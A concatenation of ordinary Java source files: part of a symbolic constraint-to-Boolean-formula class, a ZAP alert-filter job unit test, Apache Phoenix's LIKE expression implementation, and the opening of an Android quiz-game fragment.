BooleanVariable[] scope = new BooleanVariable[internalVarsFrom.length*2];
String wff = "";
// f1 f2 f3
// t1 t2 t3
// t1 -> f1, t2 -> f2, t3 -> f3
for (int i = 0; i < internalVarsFrom.length*2; i+=2) {
scope[i] = ((BooleanVariable)internalVarsTo[i/2]);
scope[i+1] = ((BooleanVariable)internalVarsFrom[i/2]);
if (i == 0) wff = ("(w" + (i+1) + " -> w" + (i+2) + ")");
else wff = "(" + wff + (" ^ (w" + (i+1) + " -> w" + (i+2) + ")") + ")";
}
logger.finest("Generated WFF for CONTAINS constraint: " + wff);
logger.finest("\tscope: " + Arrays.toString(scope));
BooleanConstraint[] cons = BooleanConstraint.createBooleanConstraints(scope, wff);
return cons;
}
else if (this.type.equals(Type.DIFFERENT)) {
BooleanVariable[] scope = new BooleanVariable[internalVarsFrom.length*2];
String wff = "";
for (int i = 0; i < internalVarsFrom.length*2; i+=2) {
scope[i] = ((BooleanVariable)internalVarsFrom[i/2]);
scope[i+1] = ((BooleanVariable)internalVarsTo[i/2]);
if (i != 0) wff = "(" + wff + (" ^ (~w" + (i+1) + " v ~w" + (i+2) + ")") + ")";
else wff = ("(~w" + (i+1) + " v ~w" + (i+2) + ")");
}
logger.finest("Generated WFF for DIFFERENT constraint: " + wff);
logger.finest("\tscope: " + Arrays.toString(scope));
BooleanConstraint[] cons = BooleanConstraint.createBooleanConstraints(scope, wff);
return cons;
}
else if (this.type.equals(Type.VALUESUBSET)) {
if (unaryValue == null) createUnaryValueFromStrings();
Vector<BooleanVariable> scope = new Vector<BooleanVariable>();
String wff = "";
int counter = 0;
boolean allTrue = true;
for (int i = 0; i < internalVarsFrom.length; i++) {
try {
if (!unaryValue[i]) {
allTrue = false;
scope.add(((BooleanVariable)internalVarsFrom[i]));
if (counter != 0) wff = "(" + wff + (" ^ (~w" + (++counter) + ")") + ")";
else wff = ("(~w" + (++counter) + ")");
}
}
catch (java.lang.ArrayIndexOutOfBoundsException e) {
throw new WrongSymbolListException(unaryValue.length,internalVarsFrom.length);
}
}
if (allTrue) {
logger.finest("Ignored trivial VALUESUBSET constraint (all values true)");
return new BooleanConstraint[0];
}
logger.finest("Generated WFF for VALUESUBSET constraint: " + wff);
logger.finest("\tscope: " + scope);
BooleanConstraint[] cons = BooleanConstraint.createBooleanConstraints(scope.toArray(new BooleanVariable[scope.size()]), wff);
return cons;
}
else if (this.type.equals(Type.VALUEEQUALS)) {
if (unaryValue == null) createUnaryValueFromStrings();
Vector<BooleanVariable> scope = new Vector<BooleanVariable>();
String wff = "";
int counter = 0;
boolean allTrue = true;
for (int i = 0; i < internalVarsFrom.length; i++) {
try {
if (!unaryValue[i]) {
allTrue = false;
scope.add(((BooleanVariable)internalVarsFrom[i]));
if (counter != 0) wff = "(" + wff + (" ^ (~w" + (++counter) + ")") + ")";
else wff = ("(~w" + (++counter) + ")");
}
else {
scope.add(((BooleanVariable)internalVarsFrom[i]));
if (counter != 0) wff = "(" + wff + (" ^ (w" + (++counter) + ")") + ")";
else wff = ("(w" + (++counter) + ")");
}
}
catch (java.lang.ArrayIndexOutOfBoundsException e) {
throw new WrongSymbolListException(unaryValue.length,internalVarsFrom.length);
}
}
if (allTrue) {
logger.finest("Ignored trivial VALUEEQUALS constraint (all values true)");
return new BooleanConstraint[0];
}
logger.finest("Generated WFF for VALUEEQUALS constraint: " + wff);
logger.finest("\tscope: " + scope);
BooleanConstraint[] cons = BooleanConstraint.createBooleanConstraints(scope.toArray(new BooleanVariable[scope.size()]), wff);
return cons;
}
else if (this.type.equals(Type.VALUEDIFFERENT)) {
if (unaryValue == null) createUnaryValueFromStrings();
Vector<BooleanVariable> scope = new Vector<BooleanVariable>();
String wff = "";
int counter = 0;
boolean allFalse = true;
for (int i = 0; i < internalVarsFrom.length; i++) {
try {
if (unaryValue[i]) {
allFalse = false;
scope.add(((BooleanVariable)internalVarsFrom[i]));
if (counter != 0) wff = "(" + wff + (" ^ (~w" + (++counter) + ")") + ")";
else wff = ("(~w" + (++counter) + ")");
}
}
catch (java.lang.ArrayIndexOutOfBoundsException e) {
throw new WrongSymbolListException(unaryValue.length,internalVarsFrom.length);
}
}
if (allFalse) {
logger.finest("Ignored trivial VALUEDIFFERENT constraint (all values false)");
return new BooleanConstraint[0];
}
logger.finest("Generated WFF for VALUEDIFFERENT constraint: " + wff);
logger.finest("\tscope: " + scope);
BooleanConstraint[] cons = BooleanConstraint.createBooleanConstraints(scope.toArray(new BooleanVariable[scope.size()]), wff);
return cons;
}
return null;
}
@Override
public String getEdgeLabel() {
if (this.type.equals(Type.VALUEDIFFERENT) || this.type.equals(Type.VALUEEQUALS) || this.type.equals(Type.VALUESUBSET)) {
if (this.unaryValueStrings == null) createStringsFromUnaryValue();
return "" + this.type + " " + Arrays.toString(unaryValueStrings);
}
return "" + this.type;
}
@Override
public Object clone() {
SymbolicValueConstraint res = new SymbolicValueConstraint(this.type);
if(this.unaryValue != null)
res.setValue(this.unaryValue);
if(this.unaryValueStrings != null)
res.setValue(this.unaryValueStrings);
return res;
}
@Override
public boolean isEquivalent(Constraint c) {
return false;
}
public Object getType() {
return this.type;
}
@Override
protected Constraint[] createInternalConstraints(Variable[] variables) {
if (variables == null || variables.length == 0) return null;
for (Variable var : variables) if (!(var instanceof SymbolicVariable)) return null;
Vector<Constraint> cons = new Vector<Constraint>();
if (this.type.equals(Type.EQUALS) || this.type.equals(Type.DIFFERENT) || this.type.equals(Type.CONTAINS)) {
for (int i = 0; i < variables.length; i++) {
for (int j = i+1; j < variables.length; j++) {
Constraint[] internalCons = this.createInternalBinaryConstraints(variables[i], variables[j]);
for (Constraint con : internalCons) cons.add(con);
}
}
}
else {
for (int i = 0; i < variables.length; i++) {
Constraint[] internalCons = this.createInternalBinaryConstraints(variables[i], variables[i]);
for (Constraint con : internalCons) cons.add(con);
}
}
return cons.toArray(new Constraint[cons.size()]);
}
@Override
public String toString() {
return this.getEdgeLabel() + " (" + (Arrays.toString(this.getScope()) + ")");
}
public void setFrom(Variable f) {
if (this.scope == null) this.scope = new Variable[2];
this.scope[0] = f;
}
public void setTo(Variable t) {
if (this.scope == null) this.scope = new Variable[2];
this.scope[1] = t;
}
}
| |
/*
* Zed Attack Proxy (ZAP) and its related class files.
*
* ZAP is an HTTP/HTTPS proxy for assessing web application security.
*
* Copyright 2021 The ZAP Development Team
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*/
package org.zaproxy.zap.extension.alertFilters.automation;
import static org.hamcrest.MatcherAssert.assertThat;
import static org.hamcrest.Matchers.equalTo;
import static org.hamcrest.Matchers.is;
import static org.hamcrest.Matchers.nullValue;
import static org.mockito.ArgumentMatchers.any;
import static org.mockito.BDDMockito.given;
import static org.mockito.Mockito.CALLS_REAL_METHODS;
import static org.mockito.Mockito.mock;
import static org.mockito.Mockito.times;
import static org.mockito.Mockito.verify;
import static org.mockito.Mockito.withSettings;
import java.io.ByteArrayInputStream;
import java.nio.charset.StandardCharsets;
import java.util.LinkedHashMap;
import java.util.Locale;
import org.junit.jupiter.api.BeforeEach;
import org.junit.jupiter.api.Test;
import org.parosproxy.paros.Constant;
import org.parosproxy.paros.control.Control;
import org.parosproxy.paros.extension.ExtensionLoader;
import org.parosproxy.paros.model.Model;
import org.yaml.snakeyaml.Yaml;
import org.zaproxy.addon.automation.AutomationEnvironment;
import org.zaproxy.addon.automation.AutomationJob.Order;
import org.zaproxy.addon.automation.AutomationProgress;
import org.zaproxy.zap.extension.alertFilters.ContextAlertFilterManager;
import org.zaproxy.zap.extension.alertFilters.ExtensionAlertFilters;
import org.zaproxy.zap.model.Context;
import org.zaproxy.zap.utils.I18N;
import org.zaproxy.zap.utils.ZapXmlConfiguration;
class AlertFilterJobUnitTest {
@BeforeEach
void setUp() throws Exception {
Constant.messages = new I18N(Locale.ENGLISH);
}
@Test
void shouldReturnDefaultFields() {
// Given / When
AlertFilterJob job = new AlertFilterJob();
// Then
assertThat(job.getType(), is(equalTo("alertFilter")));
assertThat(job.getName(), is(equalTo("alertFilter")));
assertThat(job.getOrder(), is(equalTo(Order.CONFIGS)));
assertThat(job.getParamMethodObject(), is(nullValue()));
assertThat(job.getParamMethodName(), is(nullValue()));
assertThat(job.getAlertFilterCount(), is(equalTo(0)));
assertThat(job.getData().getAlertFilters(), is(nullValue()));
assertThat(job.getParameters().getDeleteGlobalAlerts(), is(nullValue()));
}
@Test
void shouldWarnOnNoFilters() {
// Given
AutomationProgress progress = new AutomationProgress();
AlertFilterJob job = new AlertFilterJob();
String contextStr = "parameters: \n";
Yaml yaml = new Yaml();
LinkedHashMap<?, ?> jobData =
yaml.load(new ByteArrayInputStream(contextStr.getBytes(StandardCharsets.UTF_8)));
// When
job.setJobData(jobData);
job.verifyParameters(progress);
// Then
assertThat(progress.hasWarnings(), is(equalTo(true)));
assertThat(progress.hasErrors(), is(equalTo(false)));
assertThat(progress.getWarnings().size(), is(equalTo(1)));
assertThat(
progress.getWarnings().get(0),
is(equalTo("!alertFilters.automation.error.nofilters!")));
}
@Test
void shouldErrorOnBadFilters() {
// Given
AutomationProgress progress = new AutomationProgress();
AlertFilterJob job = new AlertFilterJob();
String contextStr = "parameters: \nalertFilters: 'A string'\n";
Yaml yaml = new Yaml();
LinkedHashMap<?, ?> jobData =
yaml.load(new ByteArrayInputStream(contextStr.getBytes(StandardCharsets.UTF_8)));
// When
job.setJobData(jobData);
job.verifyParameters(progress);
// Then
assertThat(progress.hasWarnings(), is(equalTo(false)));
assertThat(progress.hasErrors(), is(equalTo(true)));
assertThat(progress.getErrors().size(), is(equalTo(1)));
assertThat(
progress.getErrors().get(0),
is(equalTo("!alertFilters.automation.error.badfilters!")));
}
@Test
void shouldErrorOnMissingRuleId() {
// Given
AutomationProgress progress = new AutomationProgress();
AlertFilterJob job = new AlertFilterJob();
String contextStr = "parameters: \nalertFilters:\n- newRisk: 'Info'";
Yaml yaml = new Yaml();
LinkedHashMap<?, ?> jobData =
yaml.load(new ByteArrayInputStream(contextStr.getBytes(StandardCharsets.UTF_8)));
// When
job.setJobData(jobData);
job.verifyParameters(progress);
// Then
assertThat(progress.hasWarnings(), is(equalTo(false)));
assertThat(progress.hasErrors(), is(equalTo(true)));
assertThat(progress.getErrors().size(), is(equalTo(1)));
assertThat(
progress.getErrors().get(0),
is(equalTo("!alertFilters.automation.error.noruleid!")));
}
@Test
void shouldErrorOnMissingNewRisk() {
// Given
AutomationProgress progress = new AutomationProgress();
AlertFilterJob job = new AlertFilterJob();
String contextStr = "parameters: \nalertFilters:\n- ruleId: 1\n";
Yaml yaml = new Yaml();
LinkedHashMap<?, ?> jobData =
yaml.load(new ByteArrayInputStream(contextStr.getBytes(StandardCharsets.UTF_8)));
// When
job.setJobData(jobData);
job.verifyParameters(progress);
// Then
assertThat(progress.hasWarnings(), is(equalTo(false)));
assertThat(progress.hasErrors(), is(equalTo(true)));
assertThat(progress.getErrors().size(), is(equalTo(1)));
assertThat(
progress.getErrors().get(0),
is(equalTo("!alertFilters.automation.error.badrisk!")));
}
@Test
void shouldErrorOnBadNewRisk() {
// Given
AutomationProgress progress = new AutomationProgress();
AlertFilterJob job = new AlertFilterJob();
String contextStr = "parameters: \nalertFilters:\n- ruleId: 1\n newRisk: 'blah'\n";
Yaml yaml = new Yaml();
LinkedHashMap<?, ?> jobData =
yaml.load(new ByteArrayInputStream(contextStr.getBytes(StandardCharsets.UTF_8)));
// When
job.setJobData(jobData);
job.verifyParameters(progress);
// Then
assertThat(progress.hasWarnings(), is(equalTo(false)));
assertThat(progress.hasErrors(), is(equalTo(true)));
assertThat(progress.getErrors().size(), is(equalTo(1)));
assertThat(
progress.getErrors().get(0),
is(equalTo("!alertFilters.automation.error.badrisk!")));
}
@Test
void shouldErrorOnBadUrlRegex() {
// Given
AutomationProgress progress = new AutomationProgress();
AlertFilterJob job = new AlertFilterJob();
String contextStr =
"parameters: \nalertFilters:\n- ruleId: 1\n newRisk: 'Info'\n urlRegex: true\n url: '*'\n";
Yaml yaml = new Yaml();
LinkedHashMap<?, ?> jobData =
yaml.load(new ByteArrayInputStream(contextStr.getBytes(StandardCharsets.UTF_8)));
// When
job.setJobData(jobData);
job.verifyParameters(progress);
// Then
assertThat(progress.hasWarnings(), is(equalTo(false)));
assertThat(progress.hasErrors(), is(equalTo(true)));
assertThat(progress.getErrors().size(), is(equalTo(1)));
assertThat(
progress.getErrors().get(0),
is(equalTo("!alertFilters.automation.error.badurlregex!")));
}
@Test
void shouldErrorOnBadParamRegex() {
// Given
AutomationProgress progress = new AutomationProgress();
AlertFilterJob job = new AlertFilterJob();
String contextStr =
"parameters: \nalertFilters:\n- ruleId: 1\n newRisk: 'Info'\n parameterRegex: true\n parameter: '*'\n";
Yaml yaml = new Yaml();
LinkedHashMap<?, ?> jobData =
yaml.load(new ByteArrayInputStream(contextStr.getBytes(StandardCharsets.UTF_8)));
// When
job.setJobData(jobData);
job.verifyParameters(progress);
// Then
assertThat(progress.hasWarnings(), is(equalTo(false)));
assertThat(progress.hasErrors(), is(equalTo(true)));
assertThat(progress.getErrors().size(), is(equalTo(1)));
assertThat(
progress.getErrors().get(0),
is(equalTo("!alertFilters.automation.error.badparamregex!")));
}
@Test
void shouldErrorOnBadAttackRegex() {
// Given
AutomationProgress progress = new AutomationProgress();
AlertFilterJob job = new AlertFilterJob();
String contextStr =
"parameters: \nalertFilters:\n- ruleId: 1\n newRisk: 'Info'\n attackRegex: true\n attack: '*'\n";
Yaml yaml = new Yaml();
LinkedHashMap<?, ?> jobData =
yaml.load(new ByteArrayInputStream(contextStr.getBytes(StandardCharsets.UTF_8)));
// When
job.setJobData(jobData);
job.verifyParameters(progress);
// Then
assertThat(progress.hasWarnings(), is(equalTo(false)));
assertThat(progress.hasErrors(), is(equalTo(true)));
assertThat(progress.getErrors().size(), is(equalTo(1)));
assertThat(
progress.getErrors().get(0),
is(equalTo("!alertFilters.automation.error.badattackregex!")));
}
@Test
void shouldErrorOnBadEvidenceRegex() {
// Given
AutomationProgress progress = new AutomationProgress();
AlertFilterJob job = new AlertFilterJob();
String contextStr =
"parameters: \nalertFilters:\n- ruleId: 1\n newRisk: 'Info'\n evidenceRegex: true\n evidence: '*'\n";
Yaml yaml = new Yaml();
LinkedHashMap<?, ?> jobData =
yaml.load(new ByteArrayInputStream(contextStr.getBytes(StandardCharsets.UTF_8)));
// When
job.setJobData(jobData);
job.verifyParameters(progress);
// Then
assertThat(progress.hasWarnings(), is(equalTo(false)));
assertThat(progress.hasErrors(), is(equalTo(true)));
assertThat(progress.getErrors().size(), is(equalTo(1)));
assertThat(
progress.getErrors().get(0),
is(equalTo("!alertFilters.automation.error.badevidenceregex!")));
}
@Test
void shouldParseValidData() {
// Given
AutomationProgress progress = new AutomationProgress();
AlertFilterJob job = new AlertFilterJob();
String contextStr =
"parameters: \nalertFilters:\n- ruleId: 1\n newRisk: 'Info'\n context: 'example'\n urlRegex: true\n url: '.*'\n parameterRegex: true\n parameter: '.*'\n"
+ " url: '.*'\n attackRegex: true\n attack: '.*'\n url: '.*'\n evidenceRegex: true\n evidence: '.*'\n url: '.*'\n";
Yaml yaml = new Yaml();
LinkedHashMap<?, ?> jobData =
yaml.load(new ByteArrayInputStream(contextStr.getBytes(StandardCharsets.UTF_8)));
// When
job.setJobData(jobData);
job.verifyParameters(progress);
// Then
assertThat(progress.hasWarnings(), is(equalTo(false)));
assertThat(progress.hasErrors(), is(equalTo(false)));
}
@Test
void shouldCreateGlobalFilter() {
// Given
Model model = mock(Model.class, withSettings().defaultAnswer(CALLS_REAL_METHODS));
Model.setSingletonForTesting(model);
ExtensionLoader extensionLoader = mock(ExtensionLoader.class, withSettings().lenient());
ExtensionAlertFilters extAF = mock(ExtensionAlertFilters.class, withSettings().lenient());
given(extensionLoader.getExtension(ExtensionAlertFilters.class)).willReturn(extAF);
Control.initSingletonForTesting(Model.getSingleton(), extensionLoader);
Model.getSingleton().getOptionsParam().load(new ZapXmlConfiguration());
AutomationProgress progress = new AutomationProgress();
AutomationEnvironment env = new AutomationEnvironment(progress);
AlertFilterJob job = new AlertFilterJob();
String contextStr =
"parameters: \nalertFilters:\n- ruleId: 1\n newRisk: 'Low'\n urlRegex: true\n url: '.*'\n parameterRegex: true\n parameter: '.*'\n"
+ " url: '.*'\n attackRegex: true\n attack: '.*'\n url: '.*'\n evidenceRegex: true\n evidence: '.*'\n url: '.*'\n";
Yaml yaml = new Yaml();
LinkedHashMap<?, ?> jobData =
yaml.load(new ByteArrayInputStream(contextStr.getBytes(StandardCharsets.UTF_8)));
// When
job.setJobData(jobData);
job.verifyParameters(progress);
job.runJob(env, progress);
// Then
assertThat(progress.hasWarnings(), is(equalTo(false)));
assertThat(progress.hasErrors(), is(equalTo(false)));
verify(extAF, times(1)).addGlobalAlertFilter(any());
}
@Test
void shouldCreateContextFilter() {
// Given
Model model = mock(Model.class, withSettings().defaultAnswer(CALLS_REAL_METHODS));
Model.setSingletonForTesting(model);
ExtensionLoader extensionLoader = mock(ExtensionLoader.class, withSettings().lenient());
ExtensionAlertFilters extAF = mock(ExtensionAlertFilters.class, withSettings().lenient());
given(extensionLoader.getExtension(ExtensionAlertFilters.class)).willReturn(extAF);
ContextAlertFilterManager cafm = new ContextAlertFilterManager(0);
given(extAF.getContextAlertFilterManager(0)).willReturn(cafm);
Control.initSingletonForTesting(Model.getSingleton(), extensionLoader);
Model.getSingleton().getOptionsParam().load(new ZapXmlConfiguration());
AutomationProgress progress = new AutomationProgress();
AutomationEnvironment env = mock(AutomationEnvironment.class);
Context context = mock(Context.class);
given(env.getContext("example")).willReturn(context);
AlertFilterJob job = new AlertFilterJob();
String contextStr =
"parameters: \nalertFilters:\n- ruleId: 1\n newRisk: 'Medium'\n context: 'example'\n urlRegex: true\n url: '.*'\n parameterRegex: true\n parameter: '.*'\n"
+ " url: '.*'\n attackRegex: true\n attack: '.*'\n url: '.*'\n evidenceRegex: true\n evidence: '.*'\n url: '.*'\n";
Yaml yaml = new Yaml();
LinkedHashMap<?, ?> jobData =
yaml.load(new ByteArrayInputStream(contextStr.getBytes(StandardCharsets.UTF_8)));
// When
job.setJobData(jobData);
job.verifyParameters(progress);
job.runJob(env, progress);
// Then
assertThat(progress.hasWarnings(), is(equalTo(false)));
assertThat(progress.hasErrors(), is(equalTo(false)));
assertThat(cafm.getAlertFilters().size(), is(equalTo(1)));
}
}
| |
/*
* Licensed to the Apache Software Foundation (ASF) under one
* or more contributor license agreements. See the NOTICE file
* distributed with this work for additional information
* regarding copyright ownership. The ASF licenses this file
* to you under the Apache License, Version 2.0 (the
* "License"); you may not use this file except in compliance
* with the License. You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*/
package org.apache.phoenix.expression;
import java.io.DataInput;
import java.io.DataOutput;
import java.io.IOException;
import java.util.List;
import java.util.regex.Pattern;
import org.apache.hadoop.hbase.io.ImmutableBytesWritable;
import org.apache.phoenix.expression.visitor.ExpressionVisitor;
import org.apache.phoenix.parse.LikeParseNode.LikeType;
import org.apache.phoenix.schema.PDataType;
import org.apache.phoenix.schema.tuple.Tuple;
import org.apache.phoenix.util.StringUtil;
import org.slf4j.Logger;
import org.slf4j.LoggerFactory;
import com.google.common.collect.Lists;
/**
*
* Implementation for LIKE operation where the first child expression is the string
* and the second is the pattern. The pattern supports '_' character for single
* character wildcard match and '%' for zero or more character match. where these
* characters may be escaped by preceding them with a '\'.
*
* Example: foo LIKE 'ab%' will match a row in which foo starts with 'ab'
*
*
* @since 0.1
*/
public class LikeExpression extends BaseCompoundExpression {
private static final Logger logger = LoggerFactory.getLogger(LikeExpression.class);
private static final String ZERO_OR_MORE = "\\E.*\\Q";
private static final String ANY_ONE = "\\E.\\Q";
/**
* Store whether this like expression has to be case sensitive or not.
*/
private LikeType likeType;
public static String unescapeLike(String s) {
return StringUtil.replace(s, StringUtil.LIKE_ESCAPE_SEQS, StringUtil.LIKE_UNESCAPED_SEQS);
}
/**
* @return the substring of s for which we have a literal string
* that we can potentially use to set the start/end key, or null
* if there is none.
*/
public static String getStartsWithPrefix(String s) {
int i = indexOfWildcard(s);
return i == -1 ? s : s.substring(0,i);
}
public static boolean hasWildcards(String s) {
return indexOfWildcard(s) != -1;
}
/**
* Replace unescaped '*' and '?' in s with '%' and '_' respectively
* such that the returned string may be used in a LIKE expression.
* Provides an alternate way of expressing a LIKE pattern which is
* more friendly for wildcard matching when the source string is
* likely to contain an '%' or '_' character.
* @param s wildcard pattern that may use '*' for multi character
* match and '?' for single character match, escaped by the backslash
* character
* @return replaced
*/
public static String wildCardToLike(String s) {
s = StringUtil.escapeLike(s);
StringBuilder buf = new StringBuilder();
// Look for another unprotected * or ? in the middle
int i = 0;
int j = 0;
while (true) {
int pctPos = s.indexOf(StringUtil.MULTI_CHAR_WILDCARD, i);
int underPos = s.indexOf(StringUtil.SINGLE_CHAR_WILDCARD, i);
if (pctPos == -1 && underPos == -1) {
return i == 0 ? s : buf.append(s.substring(i)).toString();
}
i = pctPos;
if (underPos != -1 && (i == -1 || underPos < i)) {
i = underPos;
}
if (i > 0 && s.charAt(i - 1) == '\\') {
// If we found protection then keep looking
buf.append(s.substring(j,i-1));
buf.append(s.charAt(i));
} else {
// We found an unprotected % or _ in the middle
buf.append(s.substring(j,i));
buf.append(s.charAt(i) == StringUtil.MULTI_CHAR_WILDCARD ? StringUtil.MULTI_CHAR_LIKE : StringUtil.SINGLE_CHAR_LIKE);
}
j = ++i;
}
}
public static int indexOfWildcard(String s) {
// Look for another unprotected % or _ in the middle
if (s == null) {
return -1;
}
int i = 0;
while (true) {
int pctPos = s.indexOf(StringUtil.MULTI_CHAR_LIKE, i);
int underPos = s.indexOf(StringUtil.SINGLE_CHAR_LIKE, i);
if (pctPos == -1 && underPos == -1) {
return -1;
}
i = pctPos;
if (underPos != -1 && (i == -1 || underPos < i)) {
i = underPos;
}
if (i > 0 && s.charAt(i - 1) == '\\') {
// If we found protection then keep looking
i++;
} else {
// We found an unprotected % or _ in the middle
return i;
}
}
}
private static String toPattern(String s) {
StringBuilder sb = new StringBuilder(s.length());
// From the JDK doc: \Q and \E protect everything between them
sb.append("\\Q");
boolean wasSlash = false;
for (int i = 0; i < s.length(); i++) {
char c = s.charAt(i);
if (wasSlash) {
sb.append(c);
wasSlash = false;
} else if (c == StringUtil.SINGLE_CHAR_LIKE) {
sb.append(ANY_ONE);
} else if (c == StringUtil.MULTI_CHAR_LIKE) {
sb.append(ZERO_OR_MORE);
} else if (c == '\\') {
wasSlash = true;
} else {
sb.append(c);
}
}
sb.append("\\E");
// Found nothing interesting
return sb.toString();
}
// private static String fromPattern(String s) {
// StringBuilder sb = new StringBuilder(s.length());
//
// for (int i = 0; i < s.length(); i++) {
// if (s.substring(i).startsWith("\\Q")) {
// while (s.substring(i + "\\Q".length()).startsWith("\\E")) {
// sb.append(s.charAt(i++ + "\\Q".length()));
// }
// i+= "\\E".length();
// }
// if (s.charAt(i) == '.') {
// if (s.charAt(i+1) == '*') {
// sb.append('%');
// i+=2;
// } else {
// sb.append('_');
// i++;
// }
// }
// }
// return sb.toString();
// }
private static final int LIKE_TYPE_INDEX = 2;
private static final LiteralExpression[] LIKE_TYPE_LITERAL = new LiteralExpression[LikeType.values().length];
static {
for (LikeType likeType : LikeType.values()) {
LIKE_TYPE_LITERAL[likeType.ordinal()] = LiteralExpression.newConstant(likeType.name());
}
}
private Pattern pattern;
public LikeExpression() {
}
private static List<Expression> addLikeTypeChild(List<Expression> children, LikeType likeType) {
List<Expression> newChildren = Lists.newArrayListWithExpectedSize(children.size()+1);
newChildren.addAll(children);
newChildren.add(LIKE_TYPE_LITERAL[likeType.ordinal()]);
return newChildren;
}
public LikeExpression(List<Expression> children, LikeType likeType) {
super(addLikeTypeChild(children,likeType));
this.likeType = likeType;
init();
}
public LikeType getLikeType () {
return likeType;
}
public boolean startsWithWildcard() {
return pattern != null && pattern.pattern().startsWith("\\Q\\E");
}
private void init() {
List<Expression> children = getChildren();
if (children.size() <= LIKE_TYPE_INDEX) {
this.likeType = LikeType.CASE_SENSITIVE;
} else {
LiteralExpression likeTypeExpression = (LiteralExpression)children.get(LIKE_TYPE_INDEX);
this.likeType = LikeType.valueOf((String)likeTypeExpression.getValue());
}
Expression e = getPatternExpression();
if (e instanceof LiteralExpression) {
LiteralExpression patternExpression = (LiteralExpression)e;
String value = (String)patternExpression.getValue();
pattern = compilePattern(value);
}
}
protected Pattern compilePattern (String value) {
if (likeType == LikeType.CASE_SENSITIVE)
return Pattern.compile(toPattern(value));
else
return Pattern.compile("(?i)" + toPattern(value));
}
private Expression getStrExpression() {
return children.get(0);
}
private Expression getPatternExpression() {
return children.get(1);
}
@Override
public boolean evaluate(Tuple tuple, ImmutableBytesWritable ptr) {
Pattern pattern = this.pattern;
if (pattern == null) { // TODO: don't allow? this is going to be slooowwww
if (!getPatternExpression().evaluate(tuple, ptr)) {
if (logger.isDebugEnabled()) {
logger.debug("LIKE is FALSE: pattern is null");
}
return false;
}
String value = (String)PDataType.VARCHAR.toObject(ptr, getPatternExpression().getSortOrder());
pattern = compilePattern(value);
if (logger.isDebugEnabled()) {
logger.debug("LIKE pattern is expression: " + pattern.pattern());
}
}
if (!getStrExpression().evaluate(tuple, ptr)) {
if (logger.isDebugEnabled()) {
logger.debug("LIKE is FALSE: child expression is null");
}
return false;
}
if (ptr.getLength() == 0) {
return true;
}
String value = (String)PDataType.VARCHAR.toObject(ptr, getStrExpression().getSortOrder());
boolean matched = pattern.matcher(value).matches();
ptr.set(matched ? PDataType.TRUE_BYTES : PDataType.FALSE_BYTES);
if (logger.isDebugEnabled()) {
logger.debug("LIKE(value='" + value + "'pattern='" + pattern.pattern() + "' is " + matched);
}
return true;
}
@Override
public void readFields(DataInput input) throws IOException {
super.readFields(input);
init();
}
@Override
public void write(DataOutput output) throws IOException {
super.write(output);
}
@Override
public PDataType getDataType() {
return PDataType.BOOLEAN;
}
@Override
public final <T> T accept(ExpressionVisitor<T> visitor) {
List<T> l = acceptChildren(visitor, visitor.visitEnter(this));
T t = visitor.visitLeave(this, l);
if (t == null) {
t = visitor.defaultReturn(this, l);
}
return t;
}
public String getLiteralPrefix() {
if (pattern == null) {
return "";
}
String pattern = this.pattern.pattern();
int fromIndex = "\\Q".length();
return pattern.substring(fromIndex, pattern.indexOf("\\E", fromIndex));
}
public boolean endsWithOnlyWildcard() {
if (pattern == null) {
return false;
}
String pattern = this.pattern.pattern();
String endsWith = ZERO_OR_MORE + "\\E";
return pattern.endsWith(endsWith) &&
pattern.lastIndexOf(ANY_ONE, pattern.length() - endsWith.length() - 1) == -1 &&
pattern.lastIndexOf(ZERO_OR_MORE, pattern.length() - endsWith.length() - 1) == -1;
}
@Override
public String toString() {
return (children.get(0) + " LIKE " + children.get(1));
}
}
| |
package net.fiive.kotoba.activities.game;
import android.os.Bundle;
import android.support.v4.app.Fragment;
import android.view.*;
import android.widget.Button;
import android.widget.FrameLayout;
import android.widget.TextView;
import net.fiive.intern.random.CircularItemCursor;
import net.fiive.kotoba.R;
import net.fiive.kotoba.data.dao.DataService;
import net.fiive.kotoba.domain.Question;
import java.util.List;
public class QuestionGameFragment extends Fragment {
private static final String ANSWER_VISIBLE_KEY = "answerVisible";
private static final String CURRENT_QUESTION_KEY = "currentQuestion";
private TextView questionLabel;
private FrameLayout answerLayout;
private boolean answerVisible = false;
private CircularItemCursor<Long> cursor;
private Question currentQuestion;
private DataService dataService;
private List<Long> questionIds;
public QuestionGameFragment() {
super();
}
@Override
public void onActivityCreated(Bundle savedInstanceState) {
super.onActivityCreated(savedInstanceState);
dataService = new DataService(this.getActivity().getApplicationContext());
questionIds = dataService.findAllQuestionIds();
if (questionIds.size() > 0) {
cursor = new CircularItemCursor<Long>(questionIds);
}
if (savedInstanceState != null && savedInstanceState.containsKey(CURRENT_QUESTION_KEY) && savedInstanceState.get(CURRENT_QUESTION_KEY) != null
&& savedInstanceState.containsKey(ANSWER_VISIBLE_KEY)) {
currentQuestion = (Question) savedInstanceState.getSerializable(CURRENT_QUESTION_KEY);
questionLabel.setText(currentQuestion.getValue());
if (savedInstanceState.getBoolean(ANSWER_VISIBLE_KEY)) {
this.showAnswer();
} else {
clearAnswer();
}
} else {
showNextQuestion();
}
}
@Override
public View onCreateView(LayoutInflater inflater, ViewGroup container,
Bundle savedInstanceState) {
View wordGameView = inflater.inflate(R.layout.question_game, container);
answerLayout = (FrameLayout) wordGameView.findViewById(R.id.answer_frame_layout);
questionLabel = (TextView) wordGameView.findViewById(R.id.questionLabel);
Button nextQuestionButton = (Button) wordGameView.findViewById(R.id.nextQuestionButton);
nextQuestionButton.setOnClickListener(new Button.OnClickListener() {
public void onClick(View v) {
showNextQuestion();
}
});
Button showAnswerButton = (Button) wordGameView.findViewById(R.id.showAnswerButton);
showAnswerButton.setOnClickListener(new Button.OnClickListener() {
public void onClick(View v) {
showAnswer();
}
});
return wordGameView;
}
@Override
public void onResume() {
super.onResume();
if (dataService == null) {
dataService = new DataService(this.getActivity().getApplicationContext());
}
List<Long> questionIds = dataService.findAllQuestionIds();
Boolean databaseChanged = !questionIds.equals(this.questionIds);
